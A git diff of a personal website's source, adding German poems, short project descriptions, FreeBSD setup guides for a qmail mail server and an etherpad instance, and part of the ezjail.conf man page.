18 | Doch wenn nicht<br/> | ||
19 | Bin ich tot -<br/> | ||
20 | Oder zumindest fast -<br/> | ||
21 | Einer von Ihnen<br/> | ||
22 | Auf keinen Fall<br/> | ||
23 | Anders als Jene,<br/> | ||
24 | Die wir verachteten<br/> | ||
25 | Nur aufgrund dessen,<br/> | ||
26 | Daß sie sind,<br/> | ||
27 | Was nun scheinbar<br/> | ||
28 | Aus euch wird,<br/> | ||
29 | Und welche uns<br/> | ||
30 | Dafür wiederum haßten,<br/> | ||
31 | Denen ihr jetzt<br/> | ||
32 | Ohne zu fragen<br/> | ||
33 | Ins Verderben folgt.<br/> | ||
34 | <br/> | ||
35 | Gehst du auch? | ||
diff --git a/stories/poetry/zeitlos.md b/stories/poetry/zeitlos.md new file mode 100644 index 0000000..342a8e1 --- /dev/null +++ b/stories/poetry/zeitlos.md | |||
@@ -0,0 +1,18 @@ | |||
1 | <!-- | ||
2 | .. title: Zeitlos | ||
3 | .. date: 2001/01/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Mein Leben zieht nur noch links und rechts<br/> | ||
8 | an mir vorbei.<br/> | ||
9 | Sekunden, Minuten, Stunden versinken vor Scham ueber ihre Bedeutungslosigkeit<br/> | ||
10 | in der Bedeutungslosigkeit.<br/> | ||
11 | Tage gleiten wortlos ineinander ueber, als haetten sie<br/> | ||
12 | die Naechte vergessen.<br/> | ||
13 | Wochen gewoehnen sich daran, als eine zaehe Masse<br/> | ||
14 | traege dahinzufliessen<br/> | ||
15 | und im Einheitsgrau der Monate unaufhaltsam<br/> | ||
16 | Jahre zu altern.<br/> | ||
17 | Es scheint, als waere die Zeit aus meinem Leben<br/> | ||
18 | einfach so ausgezogen.<br/> | ||
diff --git a/stories/poetry/zynismus.md b/stories/poetry/zynismus.md new file mode 100644 index 0000000..d68a5f0 --- /dev/null +++ b/stories/poetry/zynismus.md | |||
@@ -0,0 +1,36 @@ | |||
1 | <!-- | ||
2 | .. title: Zynismus | ||
3 | .. date: 2001/06/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wundervoll ist die Welt<br/> | ||
8 | und zynisch ihre Kommentatoren.<br/> | ||
9 | Und wer immer dich jemals gesehen hat,<br/> | ||
10 | wird mir beipflichten muessen.<br/> | ||
11 | |||
12 | Denn eine Welt, die dein Laecheln<br/> | ||
13 | und den Zauber deiner Seele<br/> | ||
14 | hervorgebracht hat, kann so schlecht<br/> | ||
15 | ganz gewiss nicht sein.<br/> | ||
16 | |||
17 | Aber eine Welt, die mir dein Laecheln<br/> | ||
18 | und deine ewige Praesenz vorenthaelt<br/> | ||
19 | und mich allein zuruecklaesst,<br/> | ||
20 | mit dem Rest von ihr, kann so schoen<br/> | ||
21 | ganz gewiss nicht sein.<br/> | ||
22 | |||
23 | Und ich, der ich verlange, dein Laecheln<br/> | ||
24 | und den Glanz, den du verstroemst,<br/> | ||
25 | nur fuer mich allein zu haben, und dich<br/> | ||
26 | der Welt vorzuenthalten und ihr das<br/> | ||
27 | Wertvollste zu stehlen, kann so gerecht<br/> | ||
28 | ganz gewiss nicht sein.<br/> | ||
29 | |||
30 | Nur du, die du von alledem unwissend<br/> | ||
31 | einfach nur du bist und dein Laecheln<br/> | ||
32 | und dich selbst der ganzen Welt schenkst<br/> | ||
33 | und dich doch nie vereinnahmen laesst,<br/> | ||
34 | hoer bitte nicht auf meine Worte!<br/> | ||
35 | Aber so zynisch wie ich wirst du<br/> | ||
36 | ganz gewiss nicht sein. | ||
diff --git a/stories/projects/Telefonbuch.rst b/stories/projects/Telefonbuch.rst new file mode 100644 index 0000000..4c4260c --- /dev/null +++ b/stories/projects/Telefonbuch.rst | |||
@@ -0,0 +1,7 @@ | |||
1 | .. link: | ||
2 | .. description: is a project to quickly dump a certain kind of digital phone books. | ||
3 | .. tags: project | ||
4 | .. date: 2015/02/01 19:10:08 | ||
5 | .. title: Telefonbuch | ||
6 | .. slug: ../arts/software/Telefonbuch/index | ||
7 | .. prio: 98 | ||
diff --git a/stories/projects/anonbox.rst b/stories/projects/anonbox.rst new file mode 100644 index 0000000..404ddbb --- /dev/null +++ b/stories/projects/anonbox.rst | |||
@@ -0,0 +1,7 @@ | |||
1 | .. link: | ||
2 | .. description: is a web service to generate and maintain throw away email addresses, instanced on anonbox.net, including a javascript implementation of a unicode capable mbox-to-html renderer. | ||
3 | .. tags: project | ||
4 | .. date: 2015/02/01 19:10:08 | ||
5 | .. title: anonbox | ||
6 | .. slug: ../arts/software/anonbox/index | ||
7 | .. prio: 99 | ||
diff --git a/stories/projects/briefkasten.rst b/stories/projects/briefkasten.rst new file mode 100644 index 0000000..de4c8cd --- /dev/null +++ b/stories/projects/briefkasten.rst | |||
@@ -0,0 +1,6 @@ | |||
1 | .. link: | ||
2 | .. description: is a web service to anonymously submit messages via the web generating PGP mails and is instanced on the zeit-online briefkasten. | ||
3 | .. tags: project | ||
4 | .. date: 2015/02/01 19:10:08 | ||
5 | .. title: briefkasten | ||
6 | .. slug: ../arts/software/briefkasten/index | ||
diff --git a/stories/projects/el.rst b/stories/projects/el.rst new file mode 100644 index 0000000..8633181 --- /dev/null +++ b/stories/projects/el.rst | |||
@@ -0,0 +1,72 @@ | |||
1 | .. link: | ||
2 | .. description: is a unix tool aiding the Telefonbuch project for export and search queries. | ||
3 | .. tags: project | ||
4 | .. date: 2015/02/01 19:10:08 | ||
5 | .. title: el | ||
6 | .. subtitle: extract lines from text files | ||
7 | .. slug: ../arts/software/el/index | ||
8 | .. prio: 100 | ||
9 | |||
10 | .. contents:: | ||
11 | :depth: 1 | ||
12 | :class: ezjail-toc | ||
13 | |||
14 | ---- | ||
15 | |||
16 | Overview | ||
17 | ======== | ||
18 | |||
19 | *el* (from extract lines) is a unix tool to efficiently extract lines from a text file using a dynamic line end index. Its command line syntax is tuned to work with other posix tools – especially grep – to easily operate on poor man's databases where each of the database's columns is in a separate newline separated file. | ||
20 | |||
21 | Since *el* mmaps the whole file, it does not work on streams. | ||
22 | |||
23 | ---- | ||
24 | |||
25 | Build instructions | ||
26 | ================== | ||
27 | |||
28 | Get the source from my git repository ``git clone git://erdgeist.org/el`` and type ``make`` in the directory ``el``. *el* has no further dependencies and can just be copied to ``/usr/local/bin`` or wherever your binaries reside. | ||
29 | |||
30 | ---- | ||
31 | |||
32 | Invocation | ||
33 | ========== | ||
34 | |||
35 | In its simplest form just run:: | ||
36 | |||
37 | echo 1 2 3 4 5 6 7 8 9 10 | el file.txt | ||
38 | |||
39 | to extract lines 1 to 10 from the file ``file.txt`` and print them to stdout. *el* also accepts white space separated line numbers with the ``-i`` parameter and can default to hexadecimal numbers with the ``-x`` switch:: | ||
40 | |||
41 | el -i "10 11 12 13" -x file1.txt file2.txt | ||
42 | |||
43 | extracts line 16 to 19 from the files ``file.txt`` and ``file2.txt``, each line separated by the tab character. If your line numbers start at ``0``, *el* will add 1, if it is run with the ``-0`` switch. | ||
44 | |||
45 | The reason reading line numbers from stdin and not from command line by default becomes apparent, when you use the combining features of *el*, as it can parse and generate output as the ``grep`` posix tool does. | ||
46 | |||
47 | If you use the ``-n`` switch, each extracted line is prefixed by it's line number and a colon, just as ``grep`` does. If you use the ``-g`` switch, *el* will also **expect** the line numbers on stdin to be terminated by a colon followed by garbage until next newline. So you can feed results from ``grep -n`` directly to it. With the ``-G`` option, not only will *el* parse the line numbers from ``grep``'s output, but also append the extracted lines from each file to the input line. In order to chain several ``grep`` and *el* commands, best combine the ``-Gn`` switches as in this example:: | ||
48 | |||
49 | grep -n Manager positions.txt | el -Gn firstname.txt lastname.txt | grep Jon | el -Gn salary.txt | ||
50 | |||
51 | This will produce, an output like this:: | ||
52 | |||
53 | 17:Manager\tJon\tMiller\t$1200 | ||
54 | 23:Manager\tJon\tDoe\t$1600 | ||
55 | |||
56 | given that all the text files contain corresponding rows of information about the staff. | ||
57 | |||
58 | ---- | ||
59 | |||
60 | Author | ||
61 | ====== | ||
62 | |||
63 | *el* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers. | ||
64 | |||
65 | ---- | ||
66 | |||
67 | License | ||
68 | ======= | ||
69 | |||
70 | *el* is considered `beer ware </beerware.html>`_. | ||
71 | |||
72 | |||
diff --git a/stories/projects/elektropost.rst b/stories/projects/elektropost.rst new file mode 100644 index 0000000..b8ad9d1 --- /dev/null +++ b/stories/projects/elektropost.rst | |||
@@ -0,0 +1,197 @@ | |||
1 | .. link: | ||
2 | .. description: is an ongoing mail server and webmail frontend project, documented to be set up on a FreeBSD jail and instanced on elektropost.org. | ||
3 | .. tags: project | ||
4 | .. date: 2014/02/01 19:10:08 | ||
5 | .. title: elektropost | ||
6 | .. subtitle: a FreeBSD jail based mail server project. | ||
7 | .. slug: ../arts/software/elektropost/index | ||
8 | .. prio: 750 | ||
9 | |||
10 | .. contents:: | ||
11 | :depth: 1 | ||
12 | :class: ezjail-toc | ||
13 | |||
14 | ---- | ||
15 | |||
16 | Overview | ||
17 | ======== | ||
18 | |||
19 | `Here is a raw sketch </epost.pdf>`_ of how the elektropost setup works. | ||
20 | |||
21 | Send feedback to `erdgeist <mailto:erdgeist@erdgeist.org>`_. | ||
22 | |||
23 | ---- | ||
24 | |||
25 | Install qmail | ||
26 | ============= | ||
27 | |||
28 | * ``make patch`` in /usr/ports/mail/qmail-tls, choose SMTP_AUTH_PATCH, BIG_TODO_PATCH, BIG_CONCURRENCY_PATCH, DISCBOUNCES_PATCH and SPF_PATCH, keep RCDLINK | ||
29 | * apply patch http://erdgeist.org/arts/software/Code/elektropost/validrcptto.cdb.patch.new to qmail-tls/work/qmail-1.03 | ||
30 | * apply patch http://erdgeist.org/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch to qmail-tls/work/qmail-1.03 | ||
31 | * ``make install`` in /usr/ports/mail/qmail-tls | ||
32 | * add "QMAIL_SLAVEPORT=tls" in /etc/make.conf | ||
33 | |||
34 | ---- | ||
35 | |||
36 | Configure qmail | ||
37 | =============== | ||
38 | |||
39 | * In /var/qmail/control check/edit all files | ||
40 | * create a servercert.pem. On elektropost this one is used for lighty and dovecot as well, YMMV | ||
41 | * install http://erdgeist.org/arts/software/Code/elektropost/tcp.smtp to /etc/tcp.smtp and alter it accordingly to your needs, ie fix/insert to "cat /etc/tcp.smtp | tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp" | ||
42 | |||
43 | * for this you will need to ``make install`` in /usr/ports/sysutils/ucspi-tcp | ||
44 | * select SSL, leave MAN checked | ||
45 | * ``ln -s /var/qmail/boot/qmail-smtpd.rcNG /usr/local/etc/rc.d/qmail-smtpd`` | ||
46 | * ``ln -s /var/qmail/boot/maildir /usr/local/etc/rc.d/qmail`` | ||
47 | * ``echo 'qmailsmtpd_enable="YES"' >> /etc/rc.conf`` | ||
48 | * ``echo 'qmailsmtpd_checkpassword="/usr/local/vpopmail/bin/vchkpw"' >> /etc/rc.conf`` | ||
49 | |||
50 | ---- | ||
51 | |||
52 | Install vpopmail | ||
53 | ================ | ||
54 | |||
55 | * ``make install`` in /usr/ports/mail/vpopmail | ||
56 | * Use default options for ucspi-tcp | ||
57 | * ``chown vpopmail:vchkpw /usr/local/vpopmail`` | ||
58 | * ``chmod u+s ~vpopmail/bin/vchkpw`` | ||
59 | * ``pw user mod vpopmail -s /bin/sh`` | ||
60 | |||
61 | ---- | ||
62 | |||
63 | Configure vpopmail | ||
64 | ================== | ||
65 | |||
66 | * ``echo elektropost.org > /usr/local/vpopmail/etc/defaultdomain`` | ||
67 | |||
68 | ---- | ||
69 | |||
70 | Install dovecot | ||
71 | =============== | ||
72 | |||
73 | * ``make install`` in /usr/ports/mail/dovecot | ||
74 | * choose option VPOPMAIL, keep the rest (maybe disable IPV6) | ||
75 | * ``echo 'dovecot_enable="YES"' >> /etc/rc.conf`` | ||
76 | |||
77 | ---- | ||
78 | |||
79 | Configure dovecot | ||
80 | ================= | ||
81 | |||
82 | * ``cp /usr/local/etc/dovecot-example.conf /usr/local/etc/dovecot.conf`` | ||
83 | * Change: protocols = imap imaps pop3s | ||
84 | * Change: listen = and ssl_listen = to match your ip addresses | ||
85 | * Change: ssl_cert_file = /var/qmail/control/servercert.pem | ||
86 | * Change: ssl_key_file = /var/qmail/control/servercert.pem | ||
87 | * Change: mail_location = maildir:%h/Maildir | ||
88 | * Change: first_valid_uid = 1 | ||
89 | * Change: first_valid_gid = 1 | ||
90 | * Change: max_mail_processes = 1024 | ||
91 | * Change: auth_username_format = %Ln@%Ld | ||
92 | * Change: #passdb pam { and #} if you do not have local user mail | ||
93 | * Change: #userdb passwd { and #} if you do not have local user mail | ||
94 | * Change: userdb vpopmail { and } to use vpopmail's vchkpw | ||
95 | |||
96 | ---- | ||
97 | |||
98 | Install lighty | ||
99 | ============== | ||
100 | |||
101 | * ``make install`` in /usr/ports/www/lighttpd | ||
102 | * ``echo 'lighttpd_enable="YES"' >> /etc/rc.conf`` | ||
103 | |||
104 | ---- | ||
105 | |||
106 | Configure lighty | ||
107 | ================ | ||
108 | |||
109 | * ``cp /usr/local/etc/lighttpd.conf.sample /usr/local/etc/lighttpd.conf`` | ||
110 | * Change: "mod_fastcgi", | ||
111 | * Change: server.document-root = "/usr/local/www/squirrelmail/" | ||
112 | * Change: server.port = 443 | ||
113 | * Change:: | ||
114 | |||
115 | cgi.assign = ( ".pl" => "/usr/bin/perl", | ||
116 | ".cgi" => "/usr/bin/perl", | ||
117 | "/cgi-bin/qmailadmin" => "", | ||
118 | "/ezmlm-cgi" => "" ) | ||
119 | |||
120 | * Change: ssl.engine = "enable" | ||
121 | * Change: ssl.pemfile = "/var/qmail/control/servercert.pem" | ||
122 | * To inform users to use https, put a document to /usr/local/www/data/index.html and add:: | ||
123 | |||
124 | #compatibility | ||
125 | $SERVER["socket"] == "<insert your ip address>:80" { | ||
126 | ssl.engine = "disable" | ||
127 | server.name = "<your fqdn>" | ||
128 | server.document-root = "/usr/local/www/data" | ||
129 | } | ||
130 | |||
131 | ---- | ||
132 | |||
133 | Install squirrelmail | ||
134 | ==================== | ||
135 | * ``make install`` in /usr/ports/mail/squirrelmail | ||
136 | * Use default options for php5 | ||
137 | * Follow the instructions squirrelmail port prints out | ||
138 | |||
139 | ---- | ||
140 | |||
141 | Install qmailadmin / ezmlm-idx | ||
142 | ============================== | ||
143 | |||
144 | * ``make install WITH_SPAM_DETECTION=TRUE SPAM_COMMAND="| /usr/local/bin/spamc -f | /usr/local/bin/maildrop" CGIBINDIR=www/squirrelmail/cgi-bin CGIBINSUBDIR= WEBDATADIR=www/squirrelmail WEBDATASUBDIR=qmailadmin in /usr/ports/mail/qmailadmin`` | ||
145 | * Use default options for ezmlm-idx | ||
146 | |||
147 | ---- | ||
148 | |||
149 | Install qmailadmin plugin for squirrelmail | ||
150 | ========================================== | ||
151 | |||
152 | * ``make install`` in /usr/ports/mail/squirrelmail-qmailadmin_login-plugin | ||
153 | |||
154 | ---- | ||
155 | |||
156 | Install maildrop | ||
157 | ================ | ||
158 | |||
159 | * ``make install`` in /usr/ports/mail/maildrop | ||
160 | |||
161 | ---- | ||
162 | |||
163 | Install the maildrop spam sort magic | ||
164 | ==================================== | ||
165 | |||
166 | * install http://erdgeist.org/arts/software/Code/elektropost/maildroprc to /usr/local/etc/maildroprc | ||
167 | |||
168 | ---- | ||
169 | |||
170 | Install spamassassin | ||
171 | ==================== | ||
172 | |||
173 | * ``make install`` in /usr/ports/mail/p5-Mail-SpamAssassin, keep SPAMC, SSL, uncheck all others | ||
174 | * ``echo '-d 192.168.0.2' > /usr/local/etc/mail/spamassassin/spamc.conf`` | ||
175 | |||
176 | ---- | ||
177 | |||
178 | Install the Valid RCPTTO checking stuff | ||
179 | ======================================= | ||
180 | |||
181 | * install http://erdgeist.org/arts/software/Code/elektropost/mkvalidrcptto to /usr/local/vpopmail/bin/mkvalidrcptto | ||
182 | * ``chmod +x /usr/local/vpopmail/bin/mkvalidrcptto`` | ||
183 | * ``cpan install CDB_File`` to help perl understand cdb files | ||
184 | * ``make install`` in /usr/ports/databases/cdb/ | ||
185 | * Add a script to your crontab (e.g. /usr/local/vpopmail/etc/tidymail.sh) that contains:: | ||
186 | |||
187 | /usr/local/vpopmail/bin/mkvalidrcptto | /usr/local/bin/cdbmake-12 /var/qmail/control/validrcptto.cdb /tmp/validrcptto.tmp | ||
188 | |||
189 | ---- | ||
190 | |||
191 | Install the auto trash-pruning script | ||
192 | ===================================== | ||
193 | |||
194 | * Add a script to your crontab (e.g. /usr/local/bin/prune-trash.sh) that contains:: | ||
195 | |||
196 | find -E /usr/local/vpopmail/domains/ -type f -iregex "^.*/maildir/.*\.(junk|trash|spam)(\.[^/]+)?/(new|cur|tmp)/.*$" -mmin +86400 -delete | ||
197 | |||
diff --git a/stories/projects/etherpad.rst b/stories/projects/etherpad.rst new file mode 100644 index 0000000..cc75def --- /dev/null +++ b/stories/projects/etherpad.rst | |||
@@ -0,0 +1,237 @@ | |||
1 | .. link: | ||
2 | .. description: is a documentation project on how to setup the classic etherpad software in a FreeBSD jail. | ||
3 | .. tags: project | ||
4 | .. date: 2015/02/01 19:10:08 | ||
5 | .. title: etherpad | ||
6 | .. slug: ../arts/software/etherpad/index | ||
7 | |||
8 | .. contents:: | ||
9 | :depth: 1 | ||
10 | :class: ezjail-toc | ||
11 | |||
12 | ---- | ||
13 | |||
14 | Overview | ||
15 | ======== | ||
16 | |||
17 | This is how to install the etherpad from http://etherpad.org/ in a FreeBSD-8.2 jail. (N.B: Things are reported not to work with newer versions.) | ||
18 | |||
19 | This guide assumes, you have sudo, bash and an editor of your choice installed. Reserve around 2GB space for the jail. If you're using a different shell, use ``setenv`` to configure the environment variables set by ``export`` in this guide. Send feedback to `erdgeist <mailto:erdgeist-etherpad@erdgeist.org>`_. Many regards to `this guide <http://pauleira.com/13/installing-etherpad/>`_, it helped me a lot. | ||
20 | |||
21 | ---- | ||
22 | |||
23 | Install Scala + Java | ||
24 | ==================== | ||
25 | |||
26 | Since etherpad does not build under the version of scala that is shipped with FreeBSD-8.2 (i.e. scala-2.8.0), we have to manually install scala-2.7.7. However, scala brings nice dependencies that help with the manual installation of the jdk. So we install scala-2.8.0 to get the dependencies, then deinstall it and install java and scala. | ||
27 | |||
28 | * Fetch jdk here: `<jdk-1.6.0.3p4_15.tbz>`_ | ||
29 | * Fetch scala-2.7.7 here: `<scala-2.7.7.tbz>`_ | ||
30 | |||
31 | Then type:: | ||
32 | |||
33 | pkg_add -r scala | ||
34 | pkg_delete -f scala\* | ||
35 | pkg_add jdk-1.6.0.3p4_15.tbz scala-2.7.7.tbz | ||
36 | |||
37 | ---- | ||
38 | |||
39 | Install mysql, fastjar and java connector | ||
40 | ========================================= | ||
41 | |||
42 | Type:: | ||
43 | |||
44 | pkg_add -r mysql55-server mysql-connector-java fastjar | ||
45 | echo mysql_enable=YES >> /etc/rc.conf | ||
46 | /usr/local/etc/rc.d/mysql-server start | ||
47 | |||
48 | ---- | ||
49 | |||
50 | Prepare mysql | ||
51 | ============= | ||
52 | |||
53 | Connection in a jail comes from the jail IP, not from 127.0.0.1, so enter IPADDRESS accordingly | ||
54 | |||
55 | ``mysql -u root`` | ||
56 | |||
57 | and in the mysql shell:: | ||
58 | |||
59 | create database etherpad; | ||
60 | grant all privileges on etherpad.* to 'etherpad'@'IPADDRESS' identified by 'MYSQLPASS_CHANGEME'; | ||
61 | |||
62 | ---- | ||
63 | |||
64 | Checkout etherpad | ||
65 | ================= | ||
66 | |||
67 | Type:: | ||
68 | |||
69 | pkg_add -r git | ||
70 | cd /usr/local | ||
71 | git clone git://github.com/ether/pad.git | ||
72 | |||
73 | known good commit 94d5b2dfd65abbee5a06d80d94cdb00a7947d9b1, otoh: you might want to check `my issue about this commit <https://github.com/ether/pad/issues/293>`_, overlay windows are broken atm. | ||
74 | |||
75 | ---- | ||
76 | |||
77 | Configure etherpad | ||
78 | ================== | ||
79 | |||
80 | Type:: | ||
81 | |||
82 | cd /usr/local/pad/etherpad | ||
83 | cp etc/etherpad.localdev-default.properties etc/etherpad.local.properties | ||
84 | |||
85 | and in your ``etc/etherpad.local.properties`` do: | ||
86 | |||
87 | * Change: devMode = false | ||
88 | * Change: etherpad.isProduction = true | ||
89 | * Change: etherpad.proAccounts = true | ||
90 | * Change: etherpad.adminPass = ADMINPASS_CHANGEME | ||
91 | * Change: etherpad.isProduction = true | ||
92 | * Change: etherpad.SQL_PASSWORD = MYSQLPASS_CHANGEME | ||
93 | * Change: listen = 0.0.0.0:9000 | ||
94 | * Change: topdomains = pads.domain.tld,localhost | ||
95 | * Change: customEmailAddress = admin@pads.domain.tld | ||
96 | * Change: transportUseWildcardSubdomains = false | ||
97 | * Change: useHttpsUrls = true | ||
98 | |||
99 | Remember the passwords well, take special care about trailing spaces! Now setup your domain in the following files: | ||
100 | |||
101 | * src/main.js | ||
102 | * src/static/crossdomain.xml | ||
103 | * src/etherpad/pro/pro_utils.js | ||
104 | * src/etherpad/control/pad/pad_control.js | ||
105 | * src/etherpad/control/global_pro_account_control.js | ||
106 | |||
107 | To disable a per-pad quota, comment out the call to _checkPadQuota in src/etherpad/control/pad/pad_control.js | ||
108 | |||
109 | ---- | ||
110 | |||
111 | Rebuild the JAR | ||
112 | =============== | ||
113 | |||
114 | Type:: | ||
115 | |||
116 | export JAVA_HOME="/usr/local/jdk1.6.0/" | ||
117 | export JAVA="/usr/local/jdk1.6.0/bin/java" | ||
118 | export SCALA="/usr/local/share/scala-2.7.7/bin/scala" | ||
119 | export SCALA_HOME="/usr/local/share/scala-2.7.7/" | ||
120 | export SCALA_LIBRARY_JAR="/usr/local/share/scala-2.7.7/lib/scala-library.jar" | ||
121 | export PATH=/usr/local/share/scala-2.7.7/bin/:$PATH | ||
122 | export MYSQL_CONNECTOR_JAR="/usr/local/share/java/classes/mysql-connector-java.jar" | ||
123 | export mysql=mysql | ||
124 | |||
125 | Rebuild the ace dependency | ||
126 | -------------------------- | ||
127 | |||
128 | This is especially important if you see this (google hint): ``net.appjet.bodylock.JSRuntimeException: Error: Neither module exists: etherpad.collab.ace.easysync2, etherpad.collab.ace.easysync2.``:: | ||
129 | |||
130 | cd /usr/local/pad/infrastructure/ace | ||
131 | bin/make normal etherpad | ||
132 | |||
133 | Rebuild the JAR with correct settings | ||
134 | ------------------------------------- | ||
135 | |||
136 | Type:: | ||
137 | |||
138 | cd /usr/local/pad/etherpad | ||
139 | bin/rebuildjar.sh | ||
140 | |||
141 | ---- | ||
142 | |||
143 | Install nginx | ||
144 | ============= | ||
145 | |||
146 | Type:: | ||
147 | |||
148 | cd /usr/ports/www/nginx | ||
149 | make install clean | ||
150 | |||
151 | and be sure to select HTTPS. | ||
152 | |||
153 | ---- | ||
154 | |||
155 | Create Self Signed Certificates | ||
156 | =============================== | ||
157 | |||
158 | For whatever your domain is, substitute it in the following commands:: | ||
159 | |||
160 | openssl genrsa -out pads.domain.tld.key 1024 | ||
161 | openssl req -new -key pads.domain.tld.key -out pads.domain.tld.csr | ||
162 | echo "subjectAltName=DNS:pads.domain.tld,DNS:*.pads.domain.tld" >pads.domain.tld.conf | ||
163 | openssl x509 -req -days 365 -in pads.domain.tld.csr -signkey pads.domain.tld.key -text -extfile pads.domain.tld.conf -out pads.domain.tld.crt | ||
164 | cat pads.domain.tld.crt pads.domain.tld.key >/usr/local/etc/nginx/pads.domain.tld.pem | ||
165 | |||
166 | ---- | ||
167 | |||
168 | Configure nginx | ||
169 | =============== | ||
170 | |||
171 | Nginx configs were provided by cryx. Thank you. Fetch ``nginx.conf`` here: `<nginx.conf>`_ and put it to ``/usr/local/etc/nginx/``. Then in your local ``nginx.conf`` do: | ||
172 | |||
173 | * Change: server_name pads.domain.tld \*.pads.domain.tld; take special care to include the wildcard subdomains | ||
174 | * Change: ssl_certificate pads.domain.tld.pem; as created above | ||
175 | |||
176 | Fetch ``nginx-etherpad.conf`` here: `<nginx-etherpad.conf>`_ and put it to ``/usr/local/etc/nginx/``. Then in your local ``nginx-etherpad.conf`` do: | ||
177 | |||
178 | * Change: server_name pads.domain.tld \*.pads.domain.tld; take special care to include the wildcard subdomains | ||
179 | * Change: proxy_pass http://pads.domain.tld:9000/; | ||
180 | |||
181 | Type:: | ||
182 | |||
183 | mkdir /var/log/www/; chown www:www /var/log/www | ||
184 | echo nginx_enable=YES >> /etc/rc.conf | ||
185 | |||
186 | ---- | ||
187 | |||
188 | Install start script | ||
189 | ==================== | ||
190 | |||
191 | Fetch rc script here: `<etherpad>`_ and put it to ``/usr/local/etc/rc.d/``. | ||
192 | |||
193 | Type:: | ||
194 | |||
195 | chmod +x /usr/local/etc/rc.d/etherpad | ||
196 | echo etherpad_enable=YES >> /etc/rc.conf | ||
197 | mkdir /var/run/etherpad; chown etherpad /var/run/etherpad | ||
198 | chown -R etherpad:etherpad /usr/local/pad | ||
199 | |||
200 | ---- | ||
201 | |||
202 | Install openoffice | ||
203 | ================== | ||
204 | |||
205 | If you want to export word and pdf documents, you need to install openoffice and run it as a headless service. | ||
206 | |||
207 | Fetch the libreoffice package here: http://wiki.bsdforen.de/anwendungen/libreoffice_aus_inoffiziellen_paketen#freebsd_amd64i386_87-stable_kamikaze or, a know working mirror for `<libreoffice-3.3.3.tbz>`_, MD5 (libreoffice-3.3.3.tbz) = 028d259735b361e46af8a9e253f168a8. | ||
208 | |||
209 | Install dependencies, ignore warnings about already installed older versions:: | ||
210 | |||
211 | pkg_add -r xineramaproto xf86vidmodeproto xextproto videoproto renderproto randrproto printproto kbproto inputproto fixesproto dri2proto damageproto compositeproto font-util encodings libtextcat expat gnome_subr ca_root_nss hicolor-icon-theme gnomehier lp_solve python27 xcb-proto perl hu-hunspell poppler-data png lcms jpeg jbigkit tiff openjpeg jasper curl pkg-config xproto pixman libtasn1 libfontenc libXdmcp libXau libICE libSM freetype2 mkfontscale mkfontdir fontconfig font-misc-meltho font-misc-ethiopic font-bh-ttf bitstream-vera xorg-fonts-truetype pcre orc m4 libpthread-stubs libxcb xcb-util libdrm libX11 libXt libXrender libXft libXfixes libXext libXxf86vm libXv libXrandr libXpm libXp libXmu libXinerama libXi libXdamage libXcursor libXcomposite libXaw libGL libGLU libltdl libffi libcheck icu db41 libiconv libxml2 raptor rasqal redland gettext libgpg-error libgcrypt glib gamin gio-fam-backend shared-mime-info libIDL gdk-pixbuf desktop-file-utils dbus libgee dbus-glib eggdbus cairo poppler bison gobject-introspection gstreamer gstreamer-plugins polkit pango ORBit2 lzo2 gnutls cups-client atk gtk dconf gconf2 libgsf libwpd libwps libwpg libxslt | ||
212 | |||
213 | Install the local package:: | ||
214 | |||
215 | pkg_add -f libreoffice-3.3.3.tbz | ||
216 | |||
217 | Fetch rc script here: `<soffice>`_ and put it to ``/usr/local/etc/rc.d/``. Then type:: | ||
218 | |||
219 | chmod +x /usr/local/etc/rc.d/soffice | ||
220 | echo soffice_enable=YES >> /etc/rc.conf | ||
221 | |||
222 | ---- | ||
223 | |||
224 | Configure name server | ||
225 | ===================== | ||
226 | |||
227 | Add records for the pads and wildcard subdomains, for tinydns this is:: | ||
228 | |||
229 | +pads.domain.tld:192.168.0.23:43200 | ||
230 | +*.pads.domain.tld:192.168.0.23:43200 | ||
231 | |||
232 | ---- | ||
233 | |||
234 | Filter local services | ||
235 | ===================== | ||
236 | |||
237 | Add rules to filter ports 9000 and 3306 to pf. | ||
diff --git a/stories/projects/ezjail.conf.5 b/stories/projects/ezjail.conf.5 new file mode 100755 index 0000000..f35d412 --- /dev/null +++ b/stories/projects/ezjail.conf.5 | |||
@@ -0,0 +1,229 @@ | |||
1 | .Dd December 5, 2013 | ||
2 | .Dt EZJAIL.CONF 5 USD | ||
3 | .Os FreeBSD | ||
4 | .Sh NAME | ||
5 | .Pa ezjail.conf | ||
6 | .Nd configuration file for ezjail script | ||
7 | .Sh DESCRIPTION | ||
8 | The file | ||
9 | .Pa ezjail.conf | ||
10 | contains settings that control the operation of the ezjail | ||
11 | .Xr rc 8 | ||
12 | script. It is also read by the | ||
13 | .Cm ezjail-admin | ||
14 | utility to figure out where it should perform its actions. Its path is | ||
15 | set at installation time to | ||
16 | .Pa EZJAIL_PREFIX/etc/ezjail.conf , | ||
17 | with an example file installed at | ||
18 | .Pa EZJAIL_PREFIX/etc/ezjail.conf.sample . | ||
19 | .Pp | ||
20 | This file is really a shell script that is sourced by the | ||
21 | .Cm ezjail-admin | ||
22 | command at run-time. | ||
23 | .Dq (str) | ||
24 | denotes a string; it should be enclosed in quotes if it contains space. | ||
25 | .Dq (bool) | ||
26 | notes a boolean, whose possible values are | ||
27 | .Dq YES | ||
28 | and | ||
29 | .Dq NO . | ||
30 | .Sh PATH OPTIONS | ||
31 | .Bl -tag -width option | ||
32 | .It ezjail_jaildir (str) | ||
33 | Location of jail root directories. | ||
34 | .br | ||
35 | Default: | ||
36 | .Em /usr/jails . | ||
37 | .It ezjail_jailtemplate (str) | ||
38 | Location of template jail used to create a new jail | ||
39 | .br | ||
40 | Default: | ||
41 | .Em ${ezjail_jaildir}/newjail . | ||
42 | .It ezjail_jailbase (str) | ||
43 | Location of base jail, the one that is mounted to all jails | ||
44 | .br | ||
45 | Default: | ||
46 | .Em ${ezjail_jaildir}/basejail . | ||
47 | .It ezjail_sourcetree (str) | ||
48 | Location of your copy of FreeBSD's source tree (refer to the | ||
49 | .Xr ezjail-admin 8 | ||
50 | utility for more information). | ||
51 | .br | ||
52 | Default: | ||
53 | .Em /usr/src . | ||
54 | .It ezjail_flavours_dir (str) | ||
55 | Location of the flavours, where each directory is a different flavour. | ||
56 | .br | ||
57 | Default: | ||
58 | .Em ${ezjail_jaildir}/flavours . | ||
